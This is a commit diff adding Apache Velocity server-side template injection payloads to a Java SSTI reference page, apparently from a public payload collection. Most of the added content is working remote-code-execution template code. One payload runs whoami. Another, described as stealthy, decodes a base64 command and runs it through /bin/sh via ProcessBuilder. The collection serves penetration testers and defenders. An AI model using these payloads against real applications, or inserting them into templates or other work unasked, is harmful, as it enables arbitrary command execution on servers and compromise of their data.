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Merge pull request #786 from n3rada/master

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Add Velocity SSTI payloads with base64 command support
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Swissky 2025-08-13 20:39:34 +02:00 committed by GitHub
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39
Server Side Template Injection/Java.md
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@ -211,9 +211,11 @@ New version of Pebble :
[Official website](https://velocity.apache.org/engine/1.7/user-guide.html)
> Velocity is a Java-based template engine. It permits web page designers to reference methods defined in Java code.
> Apache Velocity is a Java-based template engine that allows web designers to embed Java code references directly within templates.
```python
In a vulnerable environment, Velocity's expression language can be abused to achieve remote code execution (RCE). For example, this payload executes the whoami command and prints the result:
```java
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
@ -224,6 +226,39 @@ $str.valueOf($chr.toChars($out.read()))
#end
```
A more flexible and stealthy payload that supports base64-encoded commands, allowing execution of arbitrary shell commands such as `echo "a" > /tmp/a`. Below is an example with `whoami` in base64:
```java
#set($base64EncodedCommand = 'd2hvYW1p')
#set($contextObjectClass = $knownContextObject.getClass())
#set($Base64Class = $contextObjectClass.forName("java.util.Base64"))
#set($Base64Decoder = $Base64Class.getMethod("getDecoder").invoke(null))
#set($decodedBytes = $Base64Decoder.decode($base64EncodedCommand))
#set($StringClass = $contextObjectClass.forName("java.lang.String"))
#set($command = $StringClass.getConstructor($contextObjectClass.forName("[B"), $contextObjectClass.forName("java.lang.String")).newInstance($decodedBytes, "UTF-8"))
#set($commandArgs = ["/bin/sh", "-c", $command])
#set($ProcessBuilderClass = $contextObjectClass.forName("java.lang.ProcessBuilder"))
#set($processBuilder = $ProcessBuilderClass.getConstructor($contextObjectClass.forName("java.util.List")).newInstance($commandArgs))
#set($processBuilder = $processBuilder.redirectErrorStream(true))
#set($process = $processBuilder.start())
#set($exitCode = $process.waitFor())
#set($inputStream = $process.getInputStream())
#set($ScannerClass = $contextObjectClass.forName("java.util.Scanner"))
#set($scanner = $ScannerClass.getConstructor($contextObjectClass.forName("java.io.InputStream")).newInstance($inputStream))
#set($scannerDelimiter = $scanner.useDelimiter("\\A"))
#if($scanner.hasNext())
#set($output = $scanner.next().trim())
$output.replaceAll("\\s+$", "").replaceAll("^\\s+", "")
#end
```
---
## Groovy